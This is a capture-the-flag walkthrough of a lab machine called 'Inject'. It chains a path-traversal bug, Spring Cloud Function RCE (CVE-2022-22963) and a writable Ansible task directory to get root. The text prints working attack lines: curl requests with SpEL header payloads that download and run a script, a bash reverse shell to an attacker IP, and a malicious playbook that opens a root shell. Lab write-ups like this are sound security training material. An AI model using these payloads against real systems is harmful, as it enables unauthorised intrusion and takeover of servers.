Inject is a Linux machine hosting a cloud storage and collaboration app built with Java and the Spring framework. A route on the app has a query parameter susceptible to LFI and can lead to the discovery of dependencies for the app, one of which is vulnerable to RCE (CVE-2022-22963) and can be leveraged to get a shell. Once on the system, enumeration can lead to user credentials within an XML file allowing for lateral movement. System monitoring with pspy reveals that an automated task periodically running on the machine attempts to execute any Ansible playbooks within the /opt/automation/tasks
directory. This can be exploited by writing a custom playbook containing a reverse shell command that when executed, leads to a root shell.
nmap
scan:
Ports open:
- 22 (SSH)
- 8080 (HTTP)
A visit to the webpage on port 8080 showed a cloud app for storing and sharing files:
The upload link at the top right of the page brought up a file upload form:
After uploading an image, a link was provided to view it:
The link redirected to the following route with a query parameter containing the uploaded image:
10.10.11.204:8080/show_image?img=test.png
I intercepted the request with Burp Suite:
Then, I found an LFI vulnerability by passing in ../
as the value to the parameter which responded with some files on the server:
I traversed a couple more directories and found a pom.xml
file that contained some interesting app info (e.g. project metadata, configuration data, and dependencies). One of the dependencies being used to implement the cloud functionality, version 3.2.2 of Spring Cloud is vulnerable to remote code execution (CVE-2022-22963):
CVE-2022-22963 is a vulnerability that allows an attacker to execute arbitrary code on a server running Spring Cloud by sending a specially crafted HTTP header. The vulnerability exists within the spring.cloud.function.routing-expression
header which uses Spring Expression Language (SpEL) as a routing expression to determine which function should be used for a given request. In susceptible versions of Spring Cloud, this header isn't properly validated which allows for the injection of commands on the host machine.
The article here provides more info on CVE-2022-22963 and also includes a PoC.
So, I took the following steps to catch a shell:
Created the following shell.sh
script:
#!/bin/bash
/bin/sh -i >& /dev/tcp/10.10.14.25/9001 0>&1
Started a python http server:
Also, started a netcat listener:
Sent the following POST
request with curl
which downloaded the shell script onto the target machine in the /tmp
directory:
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("wget http://10.10.14.25:8000/shell.sh -P /tmp")' -d 'data' http://10.10.11.204:8080/functionRouter
Once the script was on the target, I sent another request to make it executable:
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/shell.sh")' -d 'data' http://10.10.11.204:8080/functionRouter
The final request executed the script:
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/tmp/shell.sh")' -d 'data' http://10.10.11.204:8080/functionRouter
nc
caught a shell as the user frank
:
Once I was on the system, I found another user, phil
. This user's account contained the user flag, but I couldn't read it since frank
didn't have permission:
I did some further enumeration and found credentials for phil
within /home/frank/.m2/settings.xml
:
This allowed me to switch to the phil
user's account:
To look for a potential path for privilege escalation, I used pspy to monitor system processes.
I noticed a process using ansible-parallel to execute any YAML files within the /opt/automation/tasks
directory that ran every two minutes and executed as root
:
2023/07/07 05:56:01 CMD: UID=0 PID=2597 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
Ansible is a tool to automate tasks (which are declared in YAML files called playbooks) and ansible-parallel allows for the execution of multiple Ansible playbooks in parallel.
So, I checked the permissions of /opt/automation/tasks
which showed that members of the staff
group had read, write, and execute permissions on files within the directory:
phil
was a member of the staff
group:
To get a root shell, all I needed to do was write a custom playbook that contained a reverse shell command.
I started a Netcat listener:
Then, to write a file with nano
I needed a stable shell, so I ran the following commands:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl + Z
stty raw -echo; fg
Next, within /opt/automation/tasks
, I wrote a custom playbook that uses the ansible.builtin.shell
module to execute the command:
new_playbook.yml
:
- hosts: localhost
tasks:
- name: Execute command
ansible.builtin.shell:
cmd: "bash -c 'bash -i >& /dev/tcp/10.10.14.25/9001 0>&1'"
A few moments later, the task ran and sent a root shell back to my machine: